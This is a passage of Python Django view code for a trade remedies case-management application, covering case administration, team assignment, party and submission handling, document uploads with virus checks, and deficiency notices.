{\n \"caseworker\": submission_documents.get(\"caseworker\", []),\n \"respondent\": submission_documents.get(\"respondent\", []),\n \"loa\": submission_documents.get(\"loa\", []),\n \"deficiency\": deficiency_docs,\n \"confidential\": confidential,\n \"nonconfidential\": non_conf,\n }\n\n def has_permission(self):\n \"\"\"\n Override this method to customize the way permissions are checked.\n \"\"\"\n perms = self.get_permission_required()\n return not perms or self.request.user.has_perms(perms)\n\n\nclass CaseAdminView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n permission_required = (\"case_admin\",)\n template_name = \"cases/admin.html\"\n\n def add_page_data(self):\n case_enums = self._client.get_all_case_enums()\n case_users = self._client.get_case_users(self.case[\"id\"])\n context = {\n \"case_enums\": case_enums,\n \"case\": self.case,\n \"users\": case_users,\n \"participants\": self._client.get_case_participants(self.case_id),\n }\n return context\n\n def post(self, request, case_id, *args, **kwargs):\n action = request.POST.get(\"action\")\n case = self._client.get_case(case_id)\n update_spec = {}\n if action == \"initiation_flag_toggle\":\n if case[\"initiated_at\"]:\n update_spec[\"initiated_at\"] = \"\"\n else:\n update_spec[\"initiated_at\"] = timezone.now()\n elif action == \"set_case_stage\":\n update_spec[\"ignore_flow\"] = request.POST.get(\"ignore_flow\") or \"false\"\n update_spec[\"stage_id\"] = request.POST.get(\"stage_id\")\n elif action == \"set_name\":\n update_spec[\"name\"] = request.POST.get(\"name\")\n elif action == \"set_case_type\":\n update_spec[\"stage_id\"] = \"\"\n update_spec[\"type_id\"] = request.POST.get(\"type_id\")\n elif action == \"toggle_archived\":\n if case.get(\"archived_at\"):\n update_spec[\"archived_at\"] = \"\"\n else:\n update_spec[\"archived_at\"] = timezone.now()\n update_spec[\"archive_reason_id\"] = request.POST.get(\"archive_reason_id\")\n elif action == \"reset_initiation_decision\":\n update_spec[\"reset_initiation_decision\"] = True\n if update_spec:\n response = self._client.update_case(case_id, update_spec)\n return redirect(f\"/case/{case_id}/admin/\")\n\n\nclass CaseMilestoneDatesView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n permission_required = (\"case_admin\",)\n template_name = \"cases/milestone_dates.html\"\n\n def add_page_data(self):\n case_enums = self._client.get_all_case_enums(self.case_id)\n case_milestones = self._client.case_milestones(self.case[\"id\"])\n existing_keys = [cm[\"key\"] for cm in case_milestones]\n context = {\n \"milestone_types\": case_enums.get(\"milestone_types\"),\n \"available_review_types\": case_enums.get(\"available_review_types\"),\n \"milestones\": case_milestones,\n \"existing_milestones\": existing_keys,\n }\n return context\n\n def post(self, request, case_id, milestone_key=None):\n milestone_key = milestone_key or request.POST.get(\"milestone_key\")\n date = request.POST.get(\"date\")\n response = self._client.set_case_milestone(case_id, milestone_key, date)\n return redirect(f\"/case/{case_id}/milestones/\")\n\n\nclass CaseView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n permission_required = []\n template_name = \"cases/case.html\"\n\n extra_case_fields = json.dumps(\n {\n \"Case\": {\n \"applicant\": {\n \"organisation\": {\n \"id\": 0,\n \"name\": 0,\n \"primary_contact\": {\n \"name\": 0,\n \"email\": 0,\n \"phone\": 0,\n \"address\": 0,\n \"post_code\": 0,\n \"country\": {\"name\": 0},\n \"has_user\": 0,\n \"user\": {\"id\": 0, \"organisation\": {\"id\": 0, \"name\": 0}},\n },\n }\n },\n \"parent\": {\"id\": 0, \"name\": 0, \"reference\": 0, \"type\": 0},\n \"workflow_state\": {\"LINKED_CASE_CONFIRM\": 0},\n \"initiated_sequence\": 0,\n }\n }\n )\n\n def add_page_data(self):\n\n team = self._client.get_case_team_members(self.case_id)\n team_by_group = index_users_by_group([member.get(\"user\") for member in team])\n group_order = [\n SECURITY_GROUP_TRA_ADMINISTRATOR,\n SECURITY_GROUP_TRA_HEAD_OF_INVESTIGATION,\n SECURITY_GROUP_TRA_LEAD_INVESTIGATOR,\n ]\n case_extras = self._client.get_case(self.case_id, fields=self.extra_case_fields)\n return {\n \"audit\": self._client.get_audit(\n case_id=self.case_id, start=0, limit=20, milestone=True\n ),\n \"case_page\": True,\n \"case\": case_extras,\n \"team_groups\": team_by_group,\n \"group_order\": group_order,\n \"public_base_url\": settings.PUBLIC_BASE_URL,\n }\n\n def post(self, request, case_id, *args, **kwargs):\n self._client.set_case_data(case_id, {\"name\": request.POST.get(\"name\")})\n redirect = request.POST.get(\"redirect\")\n if redirect:\n return internal_redirect(request.POST.get(\"redirect\"), \"/\")\n else:\n return HttpResponse(json.dumps({\"result\": \"ok\"}), content_type=\"application/json\")\n\n\nclass PartiesView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/parties.html\"\n\n def add_page_data(self):\n parties = []\n roles = self._client.get_case_roles()\n all_case_invites = self._client.get_contact_case_invitations(self.case_id)\n all_participants = self._client.get_case_participants(self.case_id, fields=org_fields)\n case_invites = deep_index_items_by(all_case_invites, \"contact/id\")\n invited = set([])\n accepted = set([])\n for invite in all_case_invites:\n org_id = invite.get(\"organisation\", {}).get(\"id\")\n if invite.get(\"accepted_at\"):\n # note: accepted and invited are mutually exclusive\n accepted.add(org_id)\n else:\n invited.add(org_id)\n for role in roles:\n _base = all_participants[role[\"key\"]]\n _base[\"key\"] = role[\"key\"]\n _base[\"name\"] = role[\"plural\"]\n if role[\"allow_cw_create\"]:\n _base[\"add_link\"] = f\"Add {role['name']}\"\n parties.append(_base)\n\n return {\n \"party_types\": parties,\n \"invites\": case_invites,\n \"accepted_orgs\": list(accepted),\n \"invited_orgs\": list(invited),\n \"pre_release_invitations\": self._client.get_system_boolean(\"PRE_RELEASE_INVITATIONS\"),\n \"alert\": self.request.GET.get(\"alert\"),\n }\n\n\nclass CaseTeamView(CaseBaseView):\n permission_required = \"can_assign_team\"\n template_name = \"cases/team.html\"\n\n def add_page_data(self):\n all_users = self._client.get_all_users(group_name=\"caseworker\")\n users_by_group = index_users_by_group(all_users)\n team = self._client.get_case_team_members(self.case_id)\n return {\n \"team\": [member.get(\"user\", {}).get(\"id\") for member in team],\n \"tra_users\": all_users,\n \"grouped_users\": users_by_group,\n \"groups\": SECURITY_GROUPS_TRA[1:],\n \"inactive_user_count\": sum(user[\"active\"] is False for user in all_users),\n \"singleton_groups\": [\n SECURITY_GROUP_TRA_HEAD_OF_INVESTIGATION,\n SECURITY_GROUP_TRA_ADMINISTRATOR,\n ],\n }\n\n def post(self, request, case_id, *args, **kwargs):\n user_ids = request.POST.getlist(\"user_id\")\n response = self._client.assign_case_team(case_id, user_ids)\n return redirect(f\"/case/{case_id}/\")\n\n\nclass SubmissionsView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/submissions.html\"\n show_global = False\n sub_page = \"\"\n\n def get_tab(self, role, party):\n if not role.get(\"allow_cw_create\"):\n return role[\"key\"]\n return \"sampled\" if party.get(\"sampled\") else \"not_sampled\"\n\n def consolidate_submissions(\n self, case, participants, submissions_by_party, counts, selected_tab\n ):\n roles = []\n single_role_return = None # for awaiting and rejected - only return that specific role\n for role in self._client.get_case_roles():\n role[\"participants\"] = []\n for party in participants.get(role[\"key\"], {}).get(\"parties\", []):\n tab = self.get_tab(role, party)\n submissions = submissions_by_party.get(party[\"id\"], [])\n\n submissions += submissions_by_party.get(\"\", [])\n if submissions:\n counts[tab] = counts.get(tab, 0) + len(submissions)\n if tab == selected_tab:\n party[\"submissions\"] = submissions\n role[\"participants\"].append(party)\n if not party.get(\"gov_body\"):\n role[\"customer_parties\"] = True\n sort_key = (\n \"submissions/0/received_at\"\n if selected_tab == CASE_ROLE_AWAITING_APPROVAL\n else \"name\"\n )\n role[\"participants\"].sort(key=lambda pt: get(pt, sort_key) or \"\")\n if role.get(\"key\") == selected_tab:\n single_role_return = role\n if role.get(\"allow_cw_create\"):\n roles.append(role)\n return [single_role_return] if single_role_return else roles\n\n def get_name(self, participant):\n return participant.get(\"name\")\n\n def flatten_participants(self, source):\n participants = []\n for role in source:\n rec = source[role]\n participants = participants + rec[\"parties\"]\n participants.sort(key=self.get_name)\n return participants\n\n def divide_submissions(self, submissions):\n incoming = []\n outgoing = []\n draft = []\n\n for submission in submissions:\n if get(submission, \"status/sent\"):\n outgoing.append(submission)\n elif get(submission, \"status/default\") and get(submission, \"type/direction\") != 1:\n draft.append(submission)\n else:\n if (\n not get(submission, \"status/draft\")\n or get(submission, \"type/key\") == \"application\"\n ): # customer draft should not be seen by investigators\n incoming.append(submission)\n return {\n \"incoming\": sorted(incoming, key=lambda su: su.get(\"received_at\") or \"\", reverse=True),\n \"outgoing\": sorted(outgoing, key=lambda su: su.get(\"sent_at\") or \"\", reverse=True),\n \"draft\": sorted(draft, key=lambda su: su.get(\"created_at\") or \"\", reverse=True),\n }\n\n def add_page_data(self):\n tab = self.request.GET.get(\"tab\", \"sampled\").lower()\n all_submissions = self._client.get_submissions(self.case_id, show_global=True)\n submissions_by_type = deep_index_items_by(all_submissions, \"type/name\")\n\n # Get submissions that have just been created by customer\n # or are still in draft after creation\n draft_submissions = deep_index_items_by(all_submissions, \"status/default\").get(\"true\") or []\n # Remove any that are back with the customer following deficiency\n draft_first_version_submissions = (\n deep_index_items_by(draft_submissions, \"version\").get(\"1\") or []\n )\n # Exclude these drafts from our list\n non_draft_submissions = [\n sub for sub in all_submissions if sub not in draft_first_version_submissions\n ]\n # draft applications are included to allow a heads up view\n # to the caseworker before it's submitted\n if submissions_by_type.get(\"application\", [{}])[0].get(\"status\", {}).get(\"default\") is True:\n submissions_by_type[\"application\"][0][\"tra_editable\"] = True\n non_draft_submissions += submissions_by_type[\"application\"]\n submissions_by_party = deep_index_items_by(non_draft_submissions, \"organisation/id\")\n case_enums = self._client.get_all_case_enums()\n invites = self._client.get_case_invite_submissions(self.case_id)\n participants = self._client.get_case_participants(self.case_id, fields=org_fields)\n flat_participants = self.flatten_participants(participants)\n counts = {}\n if self.sub_page:\n self.template_name = f\"cases/submissions_{self.sub_page}.html\"\n tab = self.request.GET.get(\"tab\", \"incoming\").lower()\n elif self._client.get_system_boolean(\"PRE_NEW_SUBMISSION_PAGE\"):\n self.template_name = \"cases/submissions_new.html\"\n\n context = {\n \"raw_participants\": participants,\n \"submissions\": submissions_by_type,\n \"participants\": flat_participants,\n \"counts\": counts,\n \"all_roles\": self.consolidate_submissions(\n self.case,\n participants=participants,\n submissions_by_party=submissions_by_party,\n counts=counts,\n selected_tab=tab,\n ),\n \"submission_types\": case_enums[\"case_worker_allowed_submission_types\"],\n \"invites\": invites,\n \"tab\": tab,\n \"submission_groups\": self.divide_submissions(all_submissions),\n \"all_submissions\": all_submissions,\n }\n # TODO: Temp handling of application vs ex_officio ones\n if not submissions_by_type.get(\"application\") and submissions_by_type.get(\n \"ex officio application\"\n ):\n context[\"submissions\"][\"application\"] = submissions_by_type[\"ex officio application\"]\n return context\n\n\nclass SubmissionView(CaseBaseView):\n \"\"\"\n View and modify submissions\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/submission.html\"\n\n extra_case_fields = json.dumps(\n {\n \"Case\": {\n \"applicant\": 0,\n \"product\": 0,\n \"sources\": 0,\n }\n }\n )\n\n def add_page_data_old(self):\n alert = self.request.GET.get(\"alert\") # indicates the submission has just been created\n documents = []\n submission = {}\n submission_id = self.kwargs.get(\"submission_id\")\n third_party_invite = False\n if submission_id:\n submission = self._client.get_submission(self.case_id, submission_id)\n submission_type = submission[\"type\"]\n third_party_invite = submission_type[\"name\"] == \"Invite 3rd party\"\n self.organisation_id = submission[\"organisation\"][\"id\"]\n created_by_id = get(submission, \"created_by/id\")\n if created_by_id:\n full_user = self._client.get_user(created_by_id)\n submission[\"created_by\"][\"organisation\"] = get(full_user, \"organisations/0\")\n submission_context = {}\n if SUBMISSION_TYPE_HELPERS.get(submission_type[\"key\"]):\n submission_context = SUBMISSION_TYPE_HELPERS[submission_type[\"key\"]](\n submission, self.request.user\n ).get_context()\n self.template_name = \"cases/submission.html\"\n case_extras = self._client.get_case(self.case_id, fields=self.extra_case_fields)\n context = {\n \"submission\": submission,\n \"template_name\": f\"{submission_type['key']}\",\n \"documents\": self.get_documents(submission=submission, all_versions=True),\n \"alert\": alert,\n \"case\": case_extras,\n \"third_party_invite\": third_party_invite,\n **submission_context,\n }\n if (\n not submission\n or not submission.get(\"status\")\n or submission.get(\"status\", {}).get(\"default\")\n ):\n context[\"mode\"] = \"form\"\n else:\n context[\"mode\"] = \"view\"\n if self.organisation_id:\n self.organisation = self._client.get_organisation(self.organisation_id)\n context[\"organisation\"] = self.organisation\n context[\"organisation_id\"] = str(self.organisation[\"id\"])\n return context\n\n def get_all_participants(self, case_participants):\n all_parties = []\n roles = {}\n for type_name, role_parties in case_participants.items():\n parties = role_parties.get(\"parties\")\n if parties:\n all_parties.extend(parties)\n role = parties[0].get(\"role\")\n roles[role.get(\"key\")] = role\n\n return deep_index_items_by(all_parties, \"sampled\"), roles\n\n def add_page_data(self):\n case_enums = self._client.get_all_case_enums()\n submission = {}\n participants = self._client.get_case_participants(self.case_id, fields=org_fields)\n parties, roles = self.get_all_participants(participants)\n alert = self.request.GET.get(\"alert\") # indicates the submission has just been created\n virus = self.request.GET.get(\"virus\")\n upload_error = self.request.GET.get(\"upload_error\")\n return_data = {\n \"virus\": virus,\n \"upload_error\": upload_error,\n }\n submission_id = self.kwargs.get(\"submission_id\")\n if submission_id:\n submission = self._client.get_submission(self.case_id, submission_id)\n json_data = from_json(submission.get(\"deficiency_notice_params\"))\n _default = submission.get(\"status\", {}).get(\"default\")\n if not _default or (\n _default and submission[\"type\"][\"id\"] == SUBMISSION_TYPE_APPLICATION\n ):\n page_data = self.add_page_data_old()\n return_data.update(page_data)\n return return_data\n self.organisation_id = submission[\"organisation\"][\"id\"]\n return_data.update(\n {\n \"roles\": roles,\n \"submission\": submission,\n \"status\": (submission.get(\"status\") or {}).get(\"id\"),\n \"alert\": alert,\n \"documents\": self.get_documents(submission=submission),\n \"role\": submission.get(\"organisation_case_role\") or {\"name\": \"Public file\"},\n \"participants\": participants,\n \"all_participants\": parties,\n \"json_data\": json_data,\n \"selected_submission_type\": submission.get(\"type\", {}).get(\"key\")\n or \"questionnaire\",\n }\n )\n else:\n role = self.request.GET.get(\"for\")\n sampled = self.request.GET.get(\"sampled\") == \"sampled\"\n full_role = (\n self._client.get_case_role(role)\n if (role and role != \"public\")\n else {\"name\": \"Public file\"}\n )\n case_enums = self._client.get_all_case_enums(direction=DIRECTION_TRA_TO_PUBLIC)\n # Get all draft submissions of this type\n all_submissions = self._client.get_submissions(self.case_id, show_global=True)\n draft_submissions = (\n deep_index_items_by(all_submissions, \"status/default\").get(\"true\") or []\n )\n # draft_submissions_this_role = deep_index_items_by(draft_submissions,\n # 'organisation_case_role/key').get('' if role == 'public' else role)\n draft_submissions_this_role = deep_index_items_by(\n draft_submissions, \"organisation_id\"\n ).get(\"\")\n\n return_data.update(\n {\n \"submission\": submission,\n \"submission_type_id\": self.kwargs.get(\"submission_type_id\")\n or self.request.GET.get(\"submission_type_id\"),\n \"submission_statuses\": case_enums[\"submission_statuses\"],\n \"statuses_by_type\": case_enums[\"statuses_by_type\"],\n \"selected_submission_type\": self.request.GET.get(\"submission_type\")\n or \"questionnaire\",\n \"organisation_id\": self.kwargs.get(\"organisation_id\"),\n \"draft_submissions\": draft_submissions_this_role,\n \"role\": full_role,\n }\n )\n if role == \"public\":\n return_data.update(\n {\n \"submission_types\": case_enums[\"public_submission_types\"],\n \"public\": True,\n \"organisation_id\": self.kwargs.get(\"organisation_id\"),\n }\n )\n else:\n role_participants = participants.get(role, {}).get(\"parties\", [])\n filtered = list(\n filter(\n lambda party: party\n if party.get(\"sampled\") == sampled and not party.get(\"gov_body\")\n else None,\n role_participants,\n )\n )\n\n return_data.update(\n {\n \"submission_types\": case_enums[\"case_worker_allowed_submission_types\"],\n \"participants\": participants,\n \"roles\": roles,\n }\n )\n self.organisation_id = self.organisation_id or self.request.GET.get(\"organisation_id\")\n if self.organisation_id:\n self.organisation = self._client.get_organisation(self.organisation_id)\n return_data[\"organisation\"] = self.organisation\n return_data[\"organisation_id\"] = str(self.organisation[\"id\"])\n # add errors from the url\n errors = self.request.GET.get(\"errors\")\n if errors:\n try:\n return_data[\"errors\"] = json.loads(errors)\n except Exception as ex:\n pass\n # Set up template to use\n template_name = (\n submission[\"type\"][\"key\"]\n if submission\n else (role if role == \"public\" else \"questionnaire\")\n )\n return_data.update({\"template_name\": template_name, \"mode\": \"form\"})\n return return_data\n\n def post( # noqa: C901\n self,\n request,\n case_id,\n submission_id=None,\n organisation_id=None,\n *args,\n **kwargs,\n ):\n \"\"\"\n Update an existing submission\n \"\"\"\n return_data = {\"submission_id\": str(submission_id)}\n contact_id = request.POST.get(\"contact_id\")\n btn_value = request.POST.get(\"btn-value\")\n review = request.POST.get(\"review\")\n name = request.POST.get(\"name\")\n due_at = request.POST.get(\"due_at\")\n response_window_yn = request.POST.get(\"response_window_yn\")\n time_window = request.POST.get(\"time_window\")\n\n meta_raw = request.POST.getlist(\"meta\")\n meta = [json.loads(block) for block in meta_raw]\n file_details = deep_index_items_by(meta, \"name\")\n file_details_by_id = deep_index_items_by(meta, \"file/id\")\n\n organisation_id = organisation_id or request.POST.get(\"organisation_id\")\n send_to = request.POST.get(\"send_to\")\n submission = self._client.get_submission(case_id, submission_id)\n organisation_id = submission.get(\"organisation\", {}).get(\"id\")\n status_id = request.POST.get(\"submission_status_id\")\n if submission_id and btn_value == \"discard\":\n delete_submission_response = self._client.delete_submission(\n case_id=case_id, submission_id=submission_id\n )\n return HttpResponse(\n json.dumps({\"redirect_url\": f\"/case/{case_id}/submissions/\"}),\n content_type=\"application/json\",\n )\n # check if the update is for name or notify contact\n if (\n submission[\"name\"] != name\n or not submission[\"contact\"]\n or submission.get(\"contact\", {}).get(\"id\") != contact_id\n ):\n if name is not None and not name:\n return_data.update({\"errors\": '{\"name\":\"You must enter a name\"}'})\n if due_at and not is_date(due_at):\n return_data.update({\"errors\": '{\"due_date\":\"Invalid date\"}'})\n if not return_data.get(\"errors\"):\n self._client.update_submission(\n case_id=case_id,\n submission_id=submission_id,\n name=name,\n contact_id=contact_id, # TODO:not used\n due_at=due_at,\n time_window=time_window,\n description=request.POST.get(\"description\"),\n url=request.POST.get(\"url\"),\n )\n # API `update_submission` returns an incomplete submission\n # (no documents) so we re-fetch the submission here.\n submission = self._client.get_submission(case_id, submission_id)\n return_data.update({\"submission\": submission})\n if submission.get(\"id\"):\n for _file in request.FILES.getlist(\"files\"):\n try:\n _file.readline() # Important, will raise VirusFoundInFileException if infected\n original_file_name = _file.original_name\n details = file_details.get(original_file_name.lower())[0]\n confidential = details.get(\"confidential\")\n document_type = details.get(\"submission_document_type\")\n document = self._client.upload_document(\n case_id=str(case_id),\n submission_id=submission_id,\n organisation_id=str(organisation_id),\n data={\n \"name\": \"Questionnaire\",\n \"confidential\": confidential,\n \"submission_document_type\": document_type,\n \"document_name\": original_file_name,\n \"file_name\": _file.name,\n \"file_size\": _file.file_size,\n },\n )\n except (VirusFoundInFileException, APIException) as e:\n redirect_url = f\"/case/{case_id}/submission/{submission_id}/?\"\n if isinstance(e, VirusFoundInFileException):\n redirect_url += \"virus=true\"\n else:\n redirect_url += f\"upload_error={e}\"\n logger.warning(f\"File upload aborted: {e}\")\n return HttpResponse(\n json.dumps({\"redirect_url\": redirect_url}),\n content_type=\"application/json\",\n )\n\n if case_files := request.POST.getlist(\"case_files\"):\n for case_file_id in case_files:\n details = (file_details_by_id.get(case_file_id) or [])[0]\n document = self._client.attach_document(\n case_id=str(case_id),\n submission_id=submission_id,\n organisation_id=str(organisation_id),\n data={\"submission_document_type\": details.get(\"submission_document_type\")},\n document_id=case_file_id,\n )\n submission_group_name = get(submission, \"type/key\")\n if btn_value in [\"send\", \"publish\", \"withdraw\"]:\n if btn_value in [\"publish\", \"withdraw\"]:\n result = self._client.set_submission_state(\n case_id,\n submission_id,\n \"sent\"\n if (btn_value == \"send\" or submission_group_name == \"public\")\n else \"\",\n {\"publish\": \"issue\", \"withdraw\": \"un-issue\"}[btn_value],\n )\n result = self._client.update_submission(\n case_id=case_id, submission_id=submission_id\n )\n return_data.update(\n {\n \"redirect_url\": f\"/case/{case_id}/submission/{submission['id']}/?alert={btn_value}\" # noqa: E301, E501\n }\n )\n\n if btn_value == \"sufficient\":\n # Set the submission to sufficient\n result = self._client.set_submission_state(case_id, submission_id, btn_value)\n return_data.update({\"alert\": \"Submission approved\"})\n submission_type = submission[\"type\"]\n type_helpers = SUBMISSION_TYPE_HELPERS.get(submission_type[\"key\"])\n if type_helpers:\n return_data.update(\n type_helpers(submission, self.request.user).on_approve() or {}\n )\n\n # Update submission document approvals\n self.update_submission_status(request.POST, submission)\n\n # set any deficiency-notice parameters\n updated = False\n deficiency_notice_params = from_json(submission.get(\"deficiency_notice_params\"))\n send_to = request.POST.getlist(\"send_to\")\n if send_to:\n deficiency_notice_params[\"send_to\"] = send_to\n updated = True\n\n regex = r\"^deficiency_notice_params_\"\n for param_key in request.POST:\n matches = re.split(regex, param_key)\n if len(matches) > 1:\n value = request.POST[param_key]\n updated = updated or (deficiency_notice_params.get(matches[1]) != value)\n if value == \"__remove\":\n if get(deficiency_notice_params, matches[1]):\n deficiency_notice_params.pop(matches[1])\n else:\n deficiency_notice_params[matches[1]] = value\n if updated:\n update_submission_response = self._client.update_submission(\n case_id=case_id,\n submission_id=submission_id,\n deficiency_notice_params=to_json(deficiency_notice_params),\n )\n if btn_value == \"save-exit\":\n return_data.update({\"redirect_url\": f\"/case/{case_id}/submissions\"})\n if deficiency_notice_params:\n return_data.update(\n {\"redirect_url\": f\"/case/{case_id}/submission/{submission_id}\"}\n )\n return HttpResponse(json.dumps(return_data), content_type=\"application/json\")\n\n def update_submission_status(self, request_params, submission):\n \"\"\"Update submission document statuses.\n\n For each document in the submission review, examine response to\n establish if it was marked sufficient/deficient. Call API to update\n submission document status if it has changed.\n\n :param (dict) request_params: request parameters\n :param (dict) submission: submission\n \"\"\"\n submission_docs = {doc[\"id\"]: doc for doc in submission.get(\"documents\")}\n for doc_id in request_params:\n if doc_id in submission_docs:\n current_status = submission_docs[doc_id][\"sufficient\"]\n new_status = request_params[doc_id] == \"yes\"\n if current_status != new_status:\n self._client.set_submission_document_state(\n case_id=submission[\"case\"][\"id\"],\n submission_id=submission.get(\"id\"),\n document_id=doc_id,\n status=\"sufficient\" if new_status else \"deficient\",\n block_from_public_file=submission_docs.get(\"block_from_public_file\"),\n block_reason=submission_docs.get(\"block_reason\"),\n )\n\n\nclass SubmissionCreateView(SubmissionView):\n groups_required = SECURITY_GROUPS_TRA\n\n def post(self, request, case_id, *args, **kwargs):\n btn_value = request.POST.get(\"btn-value\")\n send_to = request.POST.getlist(\"send_to\")\n organisation_id = request.POST.get(\"organisation_id\")\n\n submission_data = {\n \"submission_type\": int(\n request.POST.get(\"submission_type_id\", SUBMISSION_TYPE_QUESTIONNAIRE)\n ),\n \"case_id\": str(case_id),\n \"organisation_id\": str(organisation_id) if organisation_id else None,\n \"contact_id\": request.POST.getlist(\"contact_id\"),\n \"public\": request.POST.get(\"public\"),\n }\n if send_to:\n submission_data[\"deficiency_notice_params\"] = to_json(\n {\"send_to\": send_to, \"case_role\": request.POST.get(\"role_key\")}\n )\n result = self._client.create_submission(**submission_data)\n submission = result.get(\"submission\", {}) if result else {}\n\n return HttpResponse(\n json.dumps(\n {\n \"submission_id\": submission.get(\"id\"),\n \"redirect_url\": f\"/case/{case_id}/submission/{submission['id']}/\",\n }\n ),\n content_type=\"application/json\",\n )\n\n\nclass SubmissionDocumentView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n\n def post(self, request, case_id, submission_id, organisation_id=None, *args, **kwargs):\n response = {}\n document_list_json = request.POST.get(\"document_list\")\n\n if document_list_json:\n document_list = json.loads(document_list_json)\n\n for doc_id, doc_status in document_list.items():\n logger.debug(f\"update document state {doc_id}\")\n response = self._client.set_submission_document_state(\n case_id=case_id,\n submission_id=submission_id,\n document_id=doc_id,\n status=doc_status[\"status\"],\n block_from_public_file=doc_status[\"block_from_public_file\"],\n block_reason=doc_status[\"block_reason\"],\n )\n return HttpResponse(json.dumps(response), content_type=\"application/json\")\n\n def delete(self, request, case_id, submission_id, document_id, *args, **kwargs):\n response = self._client.detach_document(\n case_id=case_id, submission_id=submission_id, document_id=document_id\n )\n return HttpResponse(json.dumps(response), content_type=\"application/json\")\n\n\nclass SubmissionStatusView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n\n def post(self, request, case_id, submission_id, *args, **kwargs):\n stage_change_if_sufficient = request.POST.get(\"stage_change_if_sufficient\")\n stage_change_if_deficient = request.POST.get(\"stage_change_if_deficient\")\n submission = self._client.get_submission(case_id, submission_id)\n status_id = request.POST.get(\"submission_status_id\")\n if submission.get(\"status\", {}).get(\"id\") != status_id:\n status_response = self._client.set_submission_status(\n case_id=case_id,\n submission_id=submission_id,\n status_id=status_id,\n stage_change_if_sufficient=stage_change_if_sufficient,\n stage_change_if_deficient=stage_change_if_deficient,\n deficiency_documents=request.FILES.getlist(\"deficiency_document\"),\n issue=request.POST.get(\"issue\"),\n )\n\n if status_response.get(\"submission\"):\n submission_id = status_response[\"submission\"][\"id\"]\n return redirect(f\"/case/{case_id}/submission/{submission_id}/\")\n\n\nclass SubmissionApprovalView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n template_name = \"cases/submission.html\"\n\n def add_page_data(self):\n submission_id = self.kwargs.get(\"submission_id\")\n submission = self._client.get_submission(self.case_id, submission_id)\n sub_documents = self._client.get_submission_documents(self.case_id, submission_id)\n documents = sub_documents.get(\"documents\", [])\n submission.update(sub_documents)\n case_enums = self._client.get_all_case_enums()\n submission_type_id = submission[\"type\"][\"id\"]\n status_map = case_enums[\"submission_status_map\"]\n status_options = status_map.get(str(submission_type_id), {}).get(\"keys\", [])\n status_context = status_map.get(str(submission_type_id))\n submission_documents = self.get_documents(submission=submission)\n context = {\n \"template_name\": submission[\"type\"][\"key\"],\n \"mode\": \"approval\",\n \"submission\": submission,\n \"case_enums\": case_enums,\n \"status_context\": status_context,\n \"documents\": submission_documents,\n }\n return context\n\n\nclass SubmissionDeficiencyView(CaseBaseView):\n \"\"\"\n Set the submission into a deficiency status and notify the party about it.\n \"\"\"\n\n groups_required = SECURITY_GROUPS_TRA\n raise_exception = True\n\n def get(self, request, case_id, submission_id, *args, **kwargs):\n submission = self._client.get_submission(case_id, submission_id)\n submission_type = submission[\"type\"]\n contact = submission_contact(submission)\n contact_name = contact.get(\"name\")\n organisation_name = submission.get(\"organisation\", {}).get(\"name\") or (\n contact.get(\"organisation\") or {}\n ).get(\"name\")\n notification_template = self._client.get_notification_template(\n \"NOTIFY_SUBMISSION_DEFICIENCY\"\n )\n template_name = f\"cases/submissions/{submission_type['key']}/notify.html\"\n due_at = get_submission_deadline(submission, settings.FRIENDLY_DATE_FORMAT)\n case_number = submission[\"case\"][\"reference\"]\n email = notify_contact_email(self._client, case_number)\n footer = notify_footer(self._client, email)\n values = {\n \"full_name\": contact_name,\n \"case_name\": submission[\"case\"][\"name\"],\n \"case_number\": case_number,\n \"company_name\": organisation_name,\n \"deadline\": due_at or \"No deadline assigned\",\n \"submission_type\": submission.get(\"type\", {}).get(\"name\"),\n \"login_url\": public_login_url(),\n \"footer\": footer,\n }\n context = {\n \"form_action\": f\"/case/{case_id}/submission/{submission_id}/status/notify/\",\n \"form_title\": f\"Deficiency Notice for {organisation_name}\",\n \"cancel_redirect_url\": f\"/case/{case_id}/submission/{submission_id}/\",\n \"editable_fields\": { # leaving one as a future example\n # 'full_name': {'title': 'Name'},\n },\n \"notification_template\": notification_template,\n \"submission\": submission,\n \"case_id\": str(case_id),\n \"contact\": contact,\n \"values\": values,\n \"parsed_template\": parse_notify_template(notification_template[\"body\"], values),\n }\n return render(request, template_name, context)\n\n def post(self, request, case_id, submission_id, *args, **kwargs):\n stage_change_if_sufficient = request.POST.get(\"stage_change_if_sufficient\")\n stage_change_if_deficient = request.POST.get(\"stage_change_if_deficient\")\n submission = self._client.get_submission(case_id, submission_id)\n notify_keys = [\n \"full_name\",\n \"case_name\",\n \"case_number\",\n \"company_name\",\n \"deadline\",\n \"submission_type\",\n \"login_url\",\n ]\n notify_data = {key: request.POST.get(key) for key in notify_keys}\n if request.POST.get(\"contact_id\"):\n notify_data[\"contact_id\"] = request.POST[\"contact_id\"]\n\n case_enums = self._client.get_all_case_enums()\n\n submission_type_id = submission[\"type\"][\"id\"]\n status_map = case_enums[\"submission_status_map\"]\n status_context = status_map.get(str(submission_type_id))\n status_id = status_context.get(\"NO\")\n error = None\n if status_id:\n if submission.get(\"status\", {}).get(\"id\") != status_id:\n status_response = self._client.set_submission_status(\n case_id=case_id,\n submission_id=submission_id,\n status_id=status_id,\n stage_change_if_sufficient=stage_change_if_sufficient,\n stage_change_if_deficient=stage_change_if_deficient,\n )\n self._client.submission_notify(\n case_id=case_id,\n organisation_id=submission[\"organisation\"][\"id\"],\n submission_id=submission[\"id\"],\n values=notify_data,\n notice_type=SUBMISSION_NOTICE_TYPE_DEFICIENCY,\n )\n # reset the submission id to redirect to the new clone if available\n if status_response.get(\"submission\"):\n submission_id = status_response[\"submission\"][\"id\"]\n return HttpResponse(\n json.dumps(\n {\n \"redirect_url\": f\"/case/{case_id}/submission/{submission_id}/\",\n }\n ),\n content_type=\"application/json\",\n )\n # If there's no deficiency state for this submission type, return an error\n return HttpResponse(\n json.dumps(\n {\n \"error\": \"No deficiency status for this submission type\",\n }\n ),\n content_type=\"application/json\",\n )\n\n\nclass SubmissionVerifyBaseView(CaseBaseView):\n groups_required = SECURITY_GROUPS_TRA\n\n def get_submission_id(self, case_id=None, 